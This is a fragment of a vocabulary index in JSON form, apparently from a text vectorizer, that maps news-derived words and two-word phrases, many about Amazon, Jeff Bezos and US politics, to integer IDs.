\"amazon appstore\": 134279,\n  \"bezos sits\": 134280,\n  \"editorial\": 134281,\n  \"increments\": 134282,\n  \"futures just\": 134283,\n  \"representative declined\": 134284,\n  \"including extreme\": 134285,\n  \"heaping doses\": 134286,\n  \"spooky mood\": 134287,\n  \"anti worker\": 134288,\n  \"target thanks\": 134289,\n  \"rising progressive\": 134290,\n  \"children mackenzie\": 134291,\n  \"director\": 134292,\n  \"extensive tax\": 134293,\n  \"performing faang\": 134294,\n  \"blasio somewhat\": 134295,\n  \"multiple workers\": 134296,\n  \"trump launched\": 134297,\n  \"sweeping reforms\": 134298,\n  \"force scrutinizing\": 134299,\n  \"jquery gigyashareelement\": 134300,\n  \"nude selfie\": 134301,\n  \"girlfriend bezos\": 134302,\n  \"peterson nathanpeterson\": 134303,\n  \"director andrew\": 134304,\n  \"scanned\": 134305,\n  \"pottsville\": 134306,\n  \"yes netflix\": 134307,\n  \"day overseas\": 134308,\n  \"trumpian fashion\": 134309,\n  \"build printing\": 134310,\n  \"affordable place\": 134311,\n  \"usps worsening\": 134312,\n  \"share discount\": 134313,\n  \"specific false\": 134314,\n  \"amazon elmo\": 134315,\n  \"expected profit\": 134316,\n  \"moved higher\": 134317,\n  \"highways according\": 134318,\n  \"vielkind\": 134319,\n  \"popular shopping\": 134320,\n  \"tax collectors\": 134321,\n  \"arundhati roy\": 134322,\n  \"budget rafael\": 134323,\n  \"trim travel\": 134324,\n  \"republican efforts\": 134325,\n  \"nbc vatican\": 134326,\n  \"reached stores\": 134327,\n  \"cnn news\": 134328,\n  \"means young\": 134329,\n  \"defence infrastructure\": 134330,\n  \"undersigned\": 134331,\n  \"google denied\": 134332,\n  \"schweitzer realized\": 134333,\n  \"deal loomed\": 134334,\n  \"drugstores ease\": 134335,\n  \"51m reports\": 134336,\n  \"afp walmart\": 134337,\n  \"ban title\": 134338,\n  \"irreverent\": 134339,\n  \"messages trump\": 134340,\n  \"glassdoor released\": 134341,\n  \"vietor spokesman\": 134342,\n  \"high college\": 134343,\n  \"amazon apparently\": 134344,\n  \"reports republican\": 134345,\n  \"jamanxim\": 134346,\n  \"page amazon\": 134347,\n  \"earlier reported\": 134348,\n  \"allegation\": 134349,\n  \"software elizabeth\": 134350,\n  \"address saying\": 134351,\n  \"home teams\": 134352,\n  \"important work\": 134353,\n  \"reuters soe\": 134354,\n  \"amazon dislikes\": 134355,\n  \"reached amazon\": 134356,\n  \"vietor\": 134357,\n  \"shares bb\": 134358,\n  \"hale county\": 134359,\n  \"antitrust criticism\": 134360,\n  \"billionaire joe\": 134361,\n  \"twitter breakingviews\": 134362,\n  \"options based\": 134363,\n  \"vibrant future\": 134364,\n  \"mccabe breaking\": 134365,\n  \"laws amazon\": 134366,\n  \"2019 truly\": 134367,\n  \"deliver package\": 134368,\n  \"2019 left\": 134369,\n  \"2019 index\": 134370,\n  \"banks start\": 134371,\n  \"secretly working\": 134372,\n  \"note jeff\": 134373,\n  \"sarah rich\": 134374,\n  \"cloud deal\": 134375,\n  \"small tasks\": 134376,\n  \"jojo fletcher\": 134377,\n  \"unsubtly\": 134378,\n  \"super rich\": 134379,\n  \"anticipated significant\": 134380,\n  \"morning rant\": 134381,\n  \"paraphrasing post\": 134382,\n  \"outshine\": 134383,\n  \"proposed solutions\": 134384,\n  \"paper exposed\": 134385,\n  \"office business\": 134386,\n  \"bryan robertbryan4\": 134387,\n  \"war amid\": 134388,\n  \"rating morgan\": 134389,\n  \"amazon tech\": 134390,\n  \"beard award\": 134391,\n  \"supposed explanations\": 134392,\n  \"albany\": 134393,\n  \"foreign businesses\": 134394,\n  \"consultancy produces\": 134395,\n  \"year competition\": 134396,\n  \"reality hot\": 134397,\n  \"reliance retail\": 134398,\n  \"completely devoid\": 134399,\n  \"subsequent tweet\": 134400,\n  \"main players\": 134401,\n  \"morning urging\": 134402,\n  \"steve eder\": 134403,\n  \"pointed satire\": 134404,\n  \"morwenna\": 134405,\n  \"times senators\": 134406,\n  \"rettig noted\": 134407,\n  \"marginalized ones\": 134408,\n  \"deal contended\": 134409,\n  \"included individual\": 134410,\n  \"ami agreement\": 134411,\n  \"westward\": 134412,\n  \"test kitchen\": 134413,\n  \"include standards\": 134414,\n  \"customer agrees\": 134415,\n  \"reckoned\": 134416,\n  \"catalog\": 134417,\n  \"major change\": 134418,\n  \"post lobbying\": 134419,\n  \"practices shows\": 134420,\n  \"park library\": 134421,\n  \"story activists\": 134422,\n  \"investigation won\": 134423,\n  \"deze\": 134424,\n  \"rightfully pointed\": 134425,\n  \"mov\": 134426,\n  \"img_tags null\": 134427,\n  \"year navy\": 134428,\n  \"mistakes evil\": 134429,\n  \"camera surveillance\": 134430,\n  \"rep alexandria\": 134431,\n  \"good glad\": 134432,\n  \"patricia arquette\": 134433,\n  \"cover startup\": 134434,\n  \"book description\": 134435,\n  \"billionaires actually\": 134436,\n  \"perfect harmony\": 134437,\n  \"peak time\": 134438,\n  \"ohio michigan\": 134439,\n  \"suffer consequences\": 134440,\n  \"viral past\": 134441,\n  \"want ai\": 134442,\n  \"unworried\": 134443,\n  \"underemployed workers\": 134444,\n  \"optimal format\": 134445,\n  \"salke caption\": 134446,\n  \"inappropriate question\": 134447,\n  \"planet bezos\": 134448,\n  \"fonda life\": 134449,\n  \"turkish activity\": 134450,\n  \"human wealth\": 134451,\n  \"washington stephen\": 134452,\n  \"cole paloma\": 134453,\n  \"tells stores\": 134454,\n  \"confidence hasn\": 134455,\n  \"playvideo configobj\": 134456,\n  \"average price\": 134457,\n  \"restoration\": 134458,\n  \"knockoffs selling\": 134459,\n  \"stock entered\": 134460,\n  \"evidence holding\": 134461,\n  \"include facebook\": 134462,\n  \"ceo roy\": 134463,\n  \"scribd usefully\": 134464,\n  \"avg hourly\": 134465,\n  \"wage service\": 134466,\n  \"janine\": 134467,\n  \"siphon away\": 134468,\n  \"corporate llc\": 134469,\n  \"twitters dorsey\": 134470,\n  \"conjures joy\": 134471,\n  \"alternative proposed\": 134472,\n  \"second consecutive\": 134473,\n  \"pruitt abuse\": 134474,\n  \"unanticipated events\": 134475,\n  \"digital solutions\": 134476,\n  \"post ought\": 134477,\n  \"bundled\": 134478,\n  \"blockade stopping\": 134479,\n  \"rogue apps\": 134480,\n  \"fil delivery\": 134481,\n  \"mercer ap\": 134482,\n  \"disclosure nbc\": 134483,\n  \"hq2 scrapped\": 134484,\n  \"accounts noting\": 134485,\n  \"votes mccabe\": 134486,\n  \"recent success\": 134487,\n  \"ceo indra\": 134488,\n  \"governors clear\": 134489,\n  \"sandberg read\": 134490,\n  \"sawyer competing\": 134491,\n  \"month near\": 134492,\n  \"longer double\": 134493,\n  \"called foreign\": 134494,\n  \"cancer remission\": 134495,\n  \"discount brands\": 134496,\n  \"congressman tom\": 134497,\n  \"business contenttype\": 134498,\n  \"trump calls\": 134499,\n  \"rogue telecom\": 134500,\n  \"amplifying\": 134501,\n  \"agenda pichai\": 134502,\n  \"amazon sales\": 134503,\n  \"jonny\": 134504,\n  \"kristalina\": 134505,\n  \"accountable just\": 134506,\n  \"unforeseen\": 134507,\n  \"itep reported\": 134508,\n  \"stories later\": 134509,\n  \"default\": 134510,\n  \"brown nosing\": 134511,\n  \"response despite\": 134512,\n  \"resorts international\": 134513,\n  \"heavy index\": 134514,\n  \"political events\": 134515,\n  \"did strike\": 134516,\n  \"legends\": 134517,\n  \"jolley launched\": 134518,\n  \"stupid investors\": 134519,\n  \"shia\": 134520,\n  \"book tells\": 134521,\n  \"wallington asset\": 134522,\n  \"media rahm\": 134523,\n  \"disruptive appealed\": 134524,\n  \"trump recent\": 134525,\n  \"colleges handle\": 134526,\n  \"fdx nyse\": 134527,\n  \"group initiates\": 134528,\n  \"hanoi\": 134529,\n  \"lorna\": 134530,\n  \"warc\": 134531,\n  \"potential acquisition\": 134532,\n  \"unproven dangerous\": 134533,\n  \"arbor informed\": 134534,\n  \"year fedex\": 134535,\n  \"covering jeff\": 134536,\n  \"told rare\": 134537,\n  \"city commissioners\": 134538,\n  \"directed action\": 134539,\n  \"truly seen\": 134540,\n  \"queensbridge residents\": 134541,\n  \"mining barge\": 134542,\n  \"reframe\": 134543,\n  \"lady memoir\": 134544,\n  \"named conservative\": 134545,\n  \"divisions\": 134546,\n  \"getting\": 134547,\n  \"cohen rubio\": 134548,\n  \"condition 98point6\": 134549,\n  \"gianna\": 134550,\n  \"eyewitness\": 134551,\n  \"wayside\": 134552,\n  \"tv growing\": 134553,\n  \"touting\": 134554,\n  \"crisis artist\": 134555,\n  \"pichai response\": 134556,\n  \"josh replogle\": 134557,\n  \"wanders\": 134558,\n  \"smarter investor\": 134559,\n  \"important political\": 134560,\n  \"php\": 134561,\n  \"rajello\": 134562,\n  \"ibd stock\": 134563,\n  \"sadistic\": 134564,\n  \"problems stem\": 134565,\n  \"hq2 facilities\": 134566,\n  \"housing market\": 134567,\n  \"splash\": 134568,\n  \"house think\": 134569,\n  \"congress controlled\": 134570,\n  \"official pressed\": 134571,\n  \"ma c0\": 134572,\n  \"unhappy\": 134573,\n  \"1997 ipo\": 134574,\n  \"write negative\": 134575,\n  \"dog whistle\": 134576,\n  \"year period\": 134577,\n  \"states key\": 134578,\n  \"unusual overlap\": 134579,\n  \"bezos arm\": 134580,\n  \"recently canceled\": 134581,\n  \"suggesting france\": 134582,\n  \"je\": 134583,\n  \"lynch weekly\": 134584,\n  \"party stinging\": 134585,\n  \"watchdog imazon\": 134586,\n  \"writer died\": 134587,\n  \"appropriate\": 134588,\n  \"sense vladimir\": 134589,\n  \"trump abducts\": 134590,\n  \"altria\": 134591,\n  \"deal helped\": 134592,\n  \"lawsuits experts\": 134593,\n  \"riot\": 134594,\n  \"mycolleagues\": 134595,\n  \"boundary\": 134596,\n  \"connecticut senator\": 134597,\n  \"president gloating\": 134598,\n  \"maria date\": 134599,\n  \"performing lurid\": 134600,\n  \"redstone battle\": 134601,\n  \"2018 roughly\": 134602,\n  \"pepsi jpmorgan\": 134603,\n  \"turn blind\": 134604,\n  \"steal roughly\": 134605,\n  \"venturebeat cities\": 134606,\n  \"brings home\": 134607,\n  \"selfies bezos\": 134608,\n  \"offer classes\": 134609,\n  \"canceled netflix\": 134610,\n  \"girl posted\": 134611,\n  \"increased minimum\": 134612,\n  \"mem 138\": 134613,\n  \"position according\": 134614,\n  \"forward earnings\": 134615,\n  \"weary\": 134616,\n  \"florida playbook\": 134617,\n  \"matter page\": 134618,\n  \"cheeks\": 134619,\n  \"schedule similar\": 134620,\n  \"2021 early\": 134621,\n  \"portraying amazon\": 134622,\n  \"eccentric\": 134623,\n  \"ami representatives\": 134624,\n  \"astonishing revelations\": 134625,\n  \"followers falsely\": 134626,\n  \"new passion\": 134627,\n  \"care company\": 134628,\n  \"returning series\": 134629,\n  \"months arguing\": 134630,\n  \"teaching assistants\": 134631,\n  \"service provider\": 134632,\n  \"precede\": 134633,\n  \"collects sales\": 134634,\n  \"suggestive cigar\": 134635,\n  \"displaying\": 134636,\n  \"provides billion\": 134637,\n  \"lefty locals\": 134638,\n  \"stuff lou\": 134639,\n  \"791 502\": 134640,\n  \"nasdaq swir\": 134641,\n  \"success mccain\": 134642,\n  \"pulling margaret\": 134643,\n  \"ins today\": 134644,\n  \"suspend joint\": 134645,\n  \"monstrosity\": 134646,\n  \"doj actions\": 134647,\n  \"roy blunt\": 134648,\n  \"loves\": 134649,\n  \"weed boom\": 134650,\n  \"10k reimbursed\": 134651,\n  \"books chicken\": 134652,\n  \"following suit\": 134653,\n  \"inbox\": 134654,\n  \"chase growth\": 134655,\n  \"affecting american\": 134656,\n  \"causing fractures\": 134657,\n  \"cracked amazon\": 134658,\n  \"party queen\": 134659,\n  \"a19 story\": 134660,\n  \"curses\": 134661,\n  \"york congresswoman\": 134662,\n  \"feel freer\": 134663,\n  \"oliver joked\": 134664,\n  \"afternoon news\": 134665,\n  \"signatories included\": 134666,\n  \"bezos released\": 134667,\n  \"enquirer sensitive\": 134668,\n  \"___ stocks\": 134669,\n  \"emergency sign\": 134670,\n  \"traditional job\": 134671,\n  \"corp fdx\": 134672,\n  \"mngmt owns\": 134673,\n  \"18th century\": 134674,\n  \"stahl including\": 134675,\n  \"index stood\": 134676,\n  \"trump push\": 134677,\n  \"israel elimination\": 134678,\n  \"hbo camping\": 134679,\n  \"claiming favoritism\": 134680,\n  \"nah\": 134681,\n  \"counterpart says\": 134682,\n  \"income opportunity\": 134683,\n  \"cuts trade\": 134684,\n  \"media__image videoid\": 134685,\n  \"bezos claimed\": 134686,\n  \"record left\": 134687,\n  \"mark patrick\": 134688,\n  \"adviser talks\": 134689,\n  \"pull maneuver\": 134690,\n  \"facebook influenced\": 134691,\n  \"queens shares\": 134692,\n  \"videocardcontents\": 134693,\n  \"doing republicans\": 134694,\n  \"lax regulation\": 134695,\n  \"government owns\": 134696,\n  \"home instructions\": 134697,\n  \"unexpectedly sharp\": 134698,\n  \"howthe\": 134699,\n  \"rock god\": 134700,\n  \"overall stock\": 134701,\n  \"mayor jason\": 134702,\n  \"border ranchers\": 134703,\n  \"federal groups\": 134704,\n  \"campaign rhetoric\": 134705,\n  \"slightly smaller\": 134706,\n  \"200 28m\": 134707,\n  \"dick picks\": 134708,\n  \"handbag\": 134709,\n  \"penalties wrong\": 134710,\n  \"youtube creative\": 134711,\n  \"aides pointed\": 134712,\n  \"play host\": 134713,\n  \"program signals\": 134714,\n  \"multinational corporations\": 134715,\n  \"rug\": 134716,\n  \"read donald\": 134717,\n  \"tin\": 134718,\n  \"total eia\": 134719,\n  \"attacked google\": 134720,\n  \"consumer grade\": 134721,\n  \"statement claims\": 134722,\n  \"sybt parent\": 134723,\n  \"counterfeit supply\": 134724,\n  \"perilous situations\": 134725,\n  \"cook family\": 134726,\n  \"rates proponents\": 134727,\n  \"declining postal\": 134728,\n  \"free passes\": 134729,\n  \"domestic partners\": 134730,\n  \"criminal prosecution\": 134731,\n  \"old family\": 134732,\n  \"texture bizarre\": 134733,\n  \"seacrest\": 134734,\n  \"easily slide\": 134735,\n  \"later manage\": 134736,\n  \"kevin braney\": 134737,\n  \"elena ferrante\": 134738,\n  \"community bankers\": 134739,\n  \"making choice\": 134740,\n  \"politically inspired\": 134741,\n  \"stories amazon\": 134742,\n  \"transports parcels\": 134743,\n  \"sections barnes\": 134744,\n  \"smoking cessation\": 134745,\n  \"ocean freight\": 134746,\n  \"banquet\": 134747,\n  \"story disservice\": 134748,\n  \"dowd\": 134749,\n  \"amazon cut\": 134750,\n  \"pentagon activity\": 134751,\n  \"running nonstop\": 134752,\n  \"funded progressive\": 134753,\n  \"byline john\": 134754,\n  \"andrews kurth\": 134755,\n  \"suspends weapons\": 134756,\n  \"ideologue\": 134757,\n  \"politics changing\": 134758,\n  \"greek filmmaker\": 134759,\n  \"worklife balance\": 134760,\n  \"facing future\": 134761,\n  \"paint house\": 134762,\n  \"browser\": 134763,\n  \"providing dangerous\": 134764,\n  \"strong value\": 134765,\n  \"erodes democracy\": 134766,\n  \"rights act\": 134767,\n  \"games lennon\": 134768,\n  \"pop killer\": 134769,\n  \"___ ge\": 134770,\n  \"department attention\": 134771,\n  \"acquisitions fringe\": 134772,\n  \"improvement hq2\": 134773,\n  \"aggressive growth\": 134774,\n  \"falling today\": 134775,\n  \"media obsession\": 134776,\n  \"government budgets\": 134777,\n  \"barre pa\": 134778,\n  \"steidler\": 134779,\n  \"working circumstances\": 134780,\n  \"just high\": 134781,\n  \"fellow princeton\": 134782,\n  \"reporting sales\": 134783,\n  \"divorce finalized\": 134784,\n  \"left money\": 134785,\n  \"bribing businesses\": 134786,\n  \"unch\": 134787,\n  \"changed shopping\": 134788,\n  \"amazon spokesperson\": 134789,\n  \"current relevance\": 134790,\n  \"customers think\": 134791,\n  \"date confession\": 134792,\n  \"bourbon\": 134793,\n  \"potential cannibalization\": 134794,\n  \"infrastructure service\": 134795,\n  \"remain including\": 134796,\n  \"cost trump\": 134797,\n  \"tool including\": 134798,\n  \"marketing strategies\": 134799,\n  \"owl element\": 134800,\n  \"refusing cash\": 134801,\n  \"acclaimed directors\": 134802,\n  \"finances 2018\": 134803,\n  \"amazon biggest\": 134804,\n  \"vrtx\": 134805,\n  \"home mini\": 134806,\n  \"jet propulsion\": 134807,\n  \"sympathisers white\": 134808,\n  \"words just\": 134809,\n  \"mastercard ajaypal\": 134810,\n  \"2035\": 134811,\n  \"media frenzy\": 134812,\n  \"smaller regional\": 134813,\n  \"historic accident\": 134814,\n  \"twitter conspiracy\": 134815,\n  \"hq2 outside\": 134816,\n  \"change london\": 134817,\n  \"court jester\": 134818,\n  \"cboe\": 134819,\n  \"jesse hamilton\": 134820,\n  \"a4ee x8\": 134821,\n  \"making strong\": 134822,\n  \"real bezos\": 134823,\n  \"1972 woodward\": 134824,\n  \"year vf\": 134825,\n  \"abuse scandal\": 134826,\n  \"lease van\": 134827,\n  \"commission regulations\": 134828,\n  \"setback nvidia\": 134829,\n  \"popping 157\": 134830,\n  \"quantity idiq\": 134831,\n  \"won\": 134832,\n  \"pre schools\": 134833,\n  \"spreading mysteriously\": 134834,\n  \"migration\": 134835,\n  \"cnbc white\": 134836,\n  \"plante\": 134837,\n  \"panel brit\": 134838,\n  \"whatsapp bloomberg\": 134839,\n  \"trump traitor\": 134840,\n  \"tariff trump\": 134841,\n  \"resigns\": 134842,\n  \"larger target\": 134843,\n  \"andrea rodriguez\": 134844,\n  \"lowlife\": 134845,\n  \"303 million\": 134846,\n  \"coordinated catch\": 134847,\n  \"gm spokesman\": 134848,\n  \"military accompanying\": 134849,\n  \"shawn mendes\": 134850,\n  \"churchill\": 134851,\n  \"poli cyber\": 134852,\n  \"collaborative iterative\": 134853,\n  \"gaetz remarks\": 134854,\n  \"clients unless\": 134855,\n  \"amazon nationwide\": 134856,\n  \"sharpton clapped\": 134857,\n  \"nuclear option\": 134858,\n  \"trillion dwarfing\": 134859,\n  \"supposedly nefarious\": 134860,\n  \"21bn deal\": 134861,\n  \"extension especially\": 134862,\n  \"smaller company\": 134863,\n  \"restaurant montreal\": 134864,\n  \"sciences corp\": 134865,\n  \"comcast posed\": 134866,\n  \"chemotherapy fluoride\": 134867,\n  \"drones outfitted\": 134868,\n  \"deliberating\": 134869,\n  \"source solutions\": 134870,\n  \"actually mobilized\": 134871,\n  \"separate\": 134872,\n  \"writing firm\": 134873,\n  \"rescued following\": 134874,\n  \"credit saying\": 134875,\n  \"sec hbk\": 134876,\n  \"britain braced\": 134877,\n  \"merely pawn\": 134878,\n  \"chester va\": 134879,\n  \"money adsbygoogle\": 134880,\n  \"sessions points\": 134881,\n  \"marijuana stocks\": 134882,\n  \"computing deal\": 134883,\n  \"flipped\": 134884,\n  \"antitrust panel\": 134885,\n  \"cash totalling\": 134886,\n  \"wp reported\": 134887,\n  \"successful tax\": 134888,\n  \"mars amazon\": 134889,\n  \"previous administration\": 134890,\n  \"dreamer hiromi\": 134891,\n  \"forest\": 134892,\n  \"law judge\": 134893,\n  \"unions\": 134894,\n  \"rupkey\": 134895,\n  \"bezos victory\": 134896,\n  \"record million\": 134897,\n  \"blair\": 134898,\n  \"predicts amazon\": 134899,\n  \"carolina city\": 134900,\n  \"trade tensions\": 134901,\n  \"small based\": 134902,\n  \"leading analyst\": 134903,\n  \"technology detect\": 134904,\n  \"100 clean\": 134905,\n  \"plea\": 134906,\n  \"hardly proves\": 134907,\n  \"named amazon\": 134908,\n  \"b5q u9\": 134909,\n  \"president ivanka\": 134910,\n  \"weekend update\": 134911,\n  \"cilantro\": 134912,\n  \"company accusing\": 134913,\n  \"data 1521260051\": 134914,\n  \"mistreating\": 134915,\n  \"accurate don\": 134916,\n  \"federal taxes\": 134917,\n  \"bojack voiced\": 134918,\n  \"hoxie\": 134919,\n  \"commerce share\": 134920,\n  \"prohibiting shoppers\": 134921,\n  \"announced loudly\": 134922,\n  \"field provides\": 134923,\n  \"delivery surcharge\": 134924,\n  \"scam political\": 134925,\n  \"hillary scandal\": 134926,\n  \"trajectory kind\": 134927,\n  \"amid leadership\": 134928,\n  \"devise ways\": 134929,\n  \"disgusting just\": 134930,\n  \"burke writer\": 134931,\n  \"adjustment\": 134932,\n  \"announce decision\": 134933,\n  \"potentially broken\": 134934,\n  \"highest contribution\": 134935,\n  \"handed earlier\": 134936,\n  \"investigators theorize\": 134937,\n  \"district light\": 134938,\n  \"startdate\": 134939,\n  \"wodj3zgu8a\": 134940,\n  \"casual bordering\": 134941,\n  \"rabbitti getty\": 134942,\n  \"alive girl\": 134943,\n  \"companies regulators\": 134944,\n  \"country head\": 134945,\n  \"walmart acquiring\": 134946,\n  \"agile programming\": 134947,\n  \"latest mailer\": 134948,\n  \"hickman brought\": 134949,\n  \"female\": 134950,\n  \"democratic lawmakers\": 134951,\n  \"earlier exposed\": 134952,\n  \"particular focus\": 134953,\n  \"riccardi nickriccardi\": 134954,\n  \"bigger news\": 134955,\n  \"popular ride\": 134956,\n  \"balanced equilibrium\": 134957,\n  \"broader view\": 134958,\n  \"transatlantic tidings\": 134959,\n  \"predatory complaining\": 134960,\n  \"cohen lawyer\": 134961,\n  \"abandoned\": 134962,\n  \"upcoming european\": 134963,\n  \"praised getty\": 134964,\n  \"concession\": 134965,\n  \"embarrassing personal\": 134966,\n  \"restrict youth\": 134967,\n  \"want facebook\": 134968,\n  \"photos published\": 134969,\n  \"city opposition\": 134970,\n  \"journal editorial\": 134971,\n  \"christmas\": 134972,\n  \"retyped\": 134973,\n  \"perfect time\": 134974,\n  \"traumatic\": 134975,\n  \"stop bad\": 134976,\n  \"gun owners\": 134977,\n  \"proper searches\": 134978,\n  \"season shoppers\": 134979,\n  \"saint\": 134980,\n  \"trump mistress\": 134981,\n  \"canada big\": 134982,\n  \"clark filmmagic\": 134983,\n  \"covers depicting\": 134984,\n  \"cody\": 134985,\n  \"address thank\": 134986,\n  \"identical\": 134987,\n  \"new option\": 134988,\n  \"staying competitive\": 134989,\n  \"results economists\": 134990,\n  \"sheer volume\": 134991,\n  \"mccain urges\": 134992,\n  \"stretching\": 134993,\n  \"media bias\": 134994,\n  \"morgan yes\": 134995,\n  \"urging lawmakers\": 134996,\n  \"hurston read\": 134997,\n  \"middleweight world\": 134998,\n  \"achatz\": 134999,\n  \"levels warmer\": 135000,\n  \"seductively flippant\": 135001,\n  \"firm legal\": 135002,\n  \"contract potentially\": 135003,\n  \"smartphone manufacturer\": 135004,\n  \"retirement holds\": 135005,\n  \"obligation uso\": 135006,\n  \"representatives sets\": 135007,\n  \"787 write\": 135008,\n  \"bring jobs\": 135009,\n  \"permit ftc\": 135010,\n  \"snowtown\": 135011,\n  \"prodding\": 135012,\n  \"bates says\": 135013,\n  \"gawker contributing\": 135014,\n  \"functioning market\": 135015,\n  \"dip buying\": 135016,\n  \"oil customers\": 135017,\n  \"marked big\": 135018,\n  \"month vice\": 135019,\n  \"fanatical\": 135020,\n  \"jersey cash\": 135021,\n  \"delivering remarks\": 135022,\n  \"outdoor deck\": 135023,\n  \"popularity especially\": 135024,\n  \"senate declared\": 135025,\n  \"stein community\": 135026,\n  \"donna lieberman\": 135027,\n  \"rickjnewman follow\": 135028,\n  \"holds dear\": 135029,\n  \"film pioneers\": 135030,\n  \"2008 competitor\": 135031,\n  \"hour days\": 135032,\n  \"market district\": 135033,\n  \"spot check\": 135034,\n  \"2008 gop\": 135035,\n  \"vat\": 135036,\n  \"economic news\": 135037,\n  \"words common\": 135038,\n  \"existing network\": 135039,\n  \"thom\": 135040,\n  \"heightened scrutiny\": 135041,\n  \"alongside film\": 135042,\n  \"rich abolishing\": 135043,\n  \"citing onewest\": 135044,\n  \"near toxic\": 135045,\n  \"knotted\": 135046,\n  \"festival announced\": 135047,\n  \"sedan\": 135048,\n  \"project space\": 135049,\n  \"mission statement\": 135050,\n  \"travel services\": 135051,\n  \"hat modeled\": 135052,\n  \"store pickup\": 135053,\n  \"intelligence technologies\": 135054,\n  \"169 george\": 135055,\n  \"tossed water\": 135056,\n  \"mike decker\": 135057,\n  \"stunning defeat\": 135058,\n  \"chaotic\": 135059,\n  \"buy house\": 135060,\n  \"known search\": 135061,\n  \"housing make\": 135062,\n  \"amazon did\": 135063,\n  \"year taxpayers\": 135064,\n  \"ami requests\": 135065,\n  \"recommends amazon\": 135066,\n  \"ceo eric\": 135067,\n  \"country impacting\": 135068,\n  \"border talks\": 135069,\n  \"unanswered questions\": 135070,\n  \"capital survivors\": 135071,\n  \"amzn admitted\": 135072,\n  \"annual general\": 135073,\n  \"republican candidate\": 135074,\n  \"icky\": 135075,\n  \"2015 incidentally\": 135076,\n  \"advice doesn\": 135077,\n  \"david letterman\": 135078,\n  \"reports 280\": 135079,\n  \"costs stand\": 135080,\n  \"secret\": 135081,\n  \"mueller probe\": 135082,\n  \"content groceries\": 135083,\n  \"practical applications\": 135084,\n  \"include huge\": 135085,\n  \"road trip\": 135086,\n  \"profits increased\": 135087,\n  \"sinister look\": 135088,\n  \"reimburse\": 135089,\n  \"shoulders\": 135090,\n  \"fuel partnering\": 135091,\n  \"offer voters\": 135092,\n  \"monopolies apart\": 135093,\n  \"real leader\": 135094,\n  \"increasingly encroaching\": 135095,\n  \"debtor nation\": 135096,\n  \"intensified pressures\": 135097,\n  \"city forecasts\": 135098,\n  \"carriers bring\": 135099,\n  \"italian restaurant\": 135100,\n  \"fever chinese\": 135101,\n  \"article concludes\": 135102,\n  \"coast liberal\": 135103,\n  \"wage new\": 135104,\n  \"showdetailsspancontent videocardcontents\": 135105,\n  \"trump biography\": 135106,\n  \"path according\": 135107,\n  \"large volume\": 135108,\n  \"commission itc\": 135109,\n  \"poor rollout\": 135110,\n  \"behaves\": 135111,\n  \"trump met\": 135112,\n  \"shrugging\": 135113,\n  \"material needed\": 135114,\n  \"acquainted\": 135115,\n  \"agriculture agrochemicals\": 135116,\n  \"famous tabloid\": 135117,\n  \"trade france\": 135118,\n  \"reinforcing\": 135119,\n  \"thematic competition\": 135120,\n  \"billion infrastructure\": 135121,\n  \"rate leaving\": 135122,\n  \"seasonal delivery\": 135123,\n  \"messages alleged\": 135124,\n  \"unequivocally embraced\": 135125,\n  \"stories pecker\": 135126,\n  \"far exceeds\": 135127,\n  \"legal entry\": 135128,\n  \"amazon working\": 135129,\n  \"amazon democrats\": 135130,\n  \"recorded snippets\": 135131,\n  \"output yields\": 135132,\n  \"advance making\": 135133,\n  \"partenheimer added\": 135134,\n  \"tim klasell\": 135135,\n  \"abortion law\": 135136,\n  \"chest shoulder\": 135137,\n  \"gy6nbvge0c\": 135138,\n  \"senior staff\": 135139,\n  \"government taxation\": 135140,\n  \"pay 269\": 135141,\n  \"bugbears including\": 135142,\n  \"wright invsts\": 135143,\n  \"tremendous wealth\": 135144,\n  \"journalists warned\": 135145,\n  \"committed nationalist\": 135146,\n  \"business media\": 135147,\n  \"friendly interviews\": 135148,\n  \"bribing quite\": 135149,\n  \"president facts\": 135150,\n  \"election trump\": 135151,\n  \"cautious politician\": 135152,\n  \"economic imperative\": 135153,\n  \"odalisque harriet\": 135154,\n  \"amd ceo\": 135155,\n  \"past criticizing\": 135156,\n  \"roy moore\": 135157,\n  \"people called\": 135158,\n  \"does say\": 135159,\n  \"dismissing counterfeit\": 135160,\n  \"today rubenstein\": 135161,\n  \"jeffbozo don\": 135162,\n  \"hollywood tale\": 135163,\n  \"massive landslide\": 135164,\n  \"headlined boyle\": 135165,\n  \"flotus solo\": 135166,\n  \"handed\": 135167,\n  \"winning candidates\": 135168,\n  \"fall read\": 135169,\n  \"delusion\": 135170,\n  \"primary example\": 135171,\n  \"facto requirement\": 135172,\n  \"stores looking\": 135173,\n  \"half true\": 135174,\n  \"presidential hopefull\": 135175,\n  \"doesn sound\": 135176,\n  \"country development\": 135177,\n  \"fewest jobs\": 135178,\n  \"pontification\": 135179,\n  \"amazon starts\": 135180,\n  \"nbcuniversal unit\": 135181,\n  \"catastrophic eavesdropping\": 135182,\n  \"repubs\": 135183,\n  \"proprietary algorithm\": 135184,\n  \"yglesias argues\": 135185,\n  \"nancyscola margaret\": 135186,\n  \"attack casts\": 135187,\n  \"income riders\": 135188,\n  \"hurt initially\": 135189,\n  \"aggressive expansion\": 135190,\n  \"buildings amazon\": 135191,\n  \"commission levied\": 135192,\n  \"smartest minds\": 135193,\n  \"kopaloff\": 135194,\n  \"dod cloud\": 135195,\n  \"measles outbreaks\": 135196,\n  \"lift investment\": 135197,\n  \"city blitz\": 135198,\n  \"models experts\": 135199,\n  \"legally dubious\": 135200,\n  \"reduce risk\": 135201,\n  \"tradition going\": 135202,\n  \"travel chau\": 135203,\n  \"unsettlingly\": 135204,\n  \"weeks promoted\": 135205,\n  \"abolish skaters\": 135206,\n  \"playtime\": 135207,\n  \"frequently posted\": 135208,\n  \"contributor jamal\": 135209,\n  \"slansky\": 135210,\n  \"giant total\": 135211,\n  \"gonna rob\": 135212,\n  \"adel jubeir\": 135213,\n  \"bad cable\": 135214,\n  \"privacy technology\": 135215,\n  \"crisp tense\": 135216,\n  \"franklin read\": 135217,\n  \"f1\": 135218,\n  \"attacked mueller\": 135219,\n  \"migrants heading\": 135220,\n  \"stalled 2019\": 135221,\n  \"judges crowned\": 135222,\n  \"facebook ad\": 135223,\n  \"safely return\": 135224,\n  \"company policies\": 135225,\n  \"alibaba deal\": 135226,\n  \"story medical\": 135227,\n  \"foot long\": 135228,\n  \"zak1vk5acw\": 135229,\n  \"aggrieved party\": 135230,\n  \"secretly negotiated\": 135231,\n  \"elections fact\": 135232,\n  \"cjr editor\": 135233,\n  \"boyne hogarth\": 135234,\n  \"say bolsonaro\": 135235,\n  \"million strong\": 135236,\n  \"party mega\": 135237,\n  \"example hires\": 135238,\n  \"offshoot\": 135239,\n  \"straw cowboy\": 135240,\n  \"founded company\": 135241,\n  